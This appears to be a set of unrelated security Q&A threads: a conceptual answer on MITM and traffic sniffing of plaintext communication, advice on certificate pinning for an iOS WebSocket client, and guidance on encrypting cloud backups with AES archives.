Assuming the communication as it stands now is in plain text (not encrypted) then yes, people can use a MITM attack to get the client to think they are the server, and the server to think they are the client. That would allow them to see traffic from both sides, hence man in the middle. The even easier method would be to simply "sniff" the traffic which means that the traffic isn't directed toward the attacker from either computer, but rather they simply take a copy of the traffic as it passes through the network. Sniffing is not as easily detectable as MITM but if the attacker attempts to spoof an the client IP that they were sniffing in order to send malicious traffic, that normally is much easier to detect.

The simple answer for prevention is encryption stops 99.9% of these issues. The long answer is convoluted and sounds very similar to a conspiracy theory, just know that no method of prevention is perfect. Eliminating low hanging fruit fends off most attackers out there, there's too much easily hackable stuff out there to spend time on one target... unless there's sufficient motivation.


Secure socket communication between iOS device and 3rd party server I'd like your advice on what is the best approach for the challenge in my hands...

I'm developing an extension to a 3rd party software. I'm doing my development using Python/Twisted/Autobahn. The end results needs to be a WebSockets Server that supports encrypted/secure communications. The users will receive this extension and will install it on their machines thus can be 'any' hostname, IP, etc - not known in advance.

The (WebSocket) client of this software extension is an iOS app (using SocketRocket) that requires the user to provide the IP and Port of their installation to connect to. The iOS app comes from the Apple app store so it is not customised per user.

In this scenario what is the best way to make this connection between the iOS app (websocket client) and the software extension (websocket server) secure/encrypted?

Initially I thought certificates, having wss forced connections on the WebSocket Server but this requires each user to create their own certificate and I don't know if the iOS device will 'accept' it and 'use' it?

I thought about changing the architecture and having a middle tier, making the extension a websocket client thus having a single point of contact, this idea was rejected.

Any alternatives I should consider?

Thanks!

You could generate a certificate on first run and then use certificate/public key pinning within the app to verify that it is connecting to the right server.

This will enable you to use HTTPS over SSL/TLS. Apparently lots of existing apps use self-signed certificates. You could perhaps display the details of the certificate it receives of the first connection to allow the user to verify it is the one just created on their WebSocket server - once accepted, the public key is stored in the app and only certificates with the stored public key will be accepted.


Secure file storage in cloud as backup At start I'll admit I'm a total newbie when it goes for stuff I want to achieve, but I'm willing to learn, so sorry in advance for writing total nonsense.

Stuff I want to achieve: I want to store my files online as a backup of them. I already have an external 2TB drive that I use for backups, but I would like to backup my backup for a good measure plus I don't put every file on the external drive so in case of "bad stuff" I would need to restore them (spend good amount of time on this). Sure I know that online/cloud (whatever it's called) storage doesn't guarantee that my files won't be deleted (in case of provider drive crash, or the company being shutdown, esp if it's a free to use service or a free account), but if cloud storage would get deleted I still have my external drive/my actual drives with files (so I can re upload them), but at the moment, if my drives would say "bye bye", well it wouldn't be a good thing :/

So how to store those files securely? What I mean about "securely" is too protect them from being sniffed or looked into by unauthorized users. I won't make those files public, but even then "users" can get access to them (cough all those leaked celebrity photos cough).

I've read I can use 7zip or WinRAR password encryption with for example a 40 digit password (that I would store in KeePass), but how secure is it? Isn't there something better or a way to make it better (better as "more secured")? For example (or what I would like to accomplish):

I have a file -> I 7zip it with AES-256 and a 40 digit password -> I get a .7zip file -> I use SoftwareX to encrypt it with a private key/another 40 digit password (1) -> I get a .ecrypted file that I upload to online storage. If I need the file, I download the .ecrypted file, decrypt it with the password/key in SoftwareX, unzip it and then I have the files I need (or more likely group of files).

Is something like that achievable? If yes - could you provide a guide or something to start off, if no - what could you suggest to achieve something similar?

I read about VeraCrypt, but the whole container/hidden disk/mounting/unmounting thing looks too complicated for me - I just want to store files (rather) securely in cloud, and the easier the creation process is the better (and vice versa, the easier restore process is the better). I also read that certain (like Google on their Google Drive) providers encrypt files but I would prefer to do the whole thing on my own.

As an example of "what do you want to store" - my music CDs that are on my shelf, I don't need to keep those on the external drive, but in case of losing the mp3 files that I've created (audio CD -> mp3) I would need to redo the whole process for every 400+ CD I've collected. But I want to store them securely, without having to think who can access them or who can delete them as "illegal copyright files". And in case of losing the mp3, I can just download the encrypted file, decrypt it, copy/paste and voila, files restored.

Thanks in advance and have a nice day!

(1) Or something similar, I have a very basic knowledge about data security, data encryption and the whole private/public key idea, so I'm more then open to suggestions on how to make the "encryption process" better (as long as the whole process requires one software to do it, multiple applications are a no-no due to complicity and possible future version problems).

Just go with one round of encryption. You are suggestion first encrypting with one program, and then with another. There is really no benefit to that. As long as you use good crypto to begin with, you're fine.

As you point out, WinRar uses AES. That is good crypto. This answer to a similar question suggests using Veracrypt instead because it has better key stretching, but if you use a long and random password that isn't an issue.

So there is nothing wrong with your original plan of just using WinRar. No need to make it more complicated than that.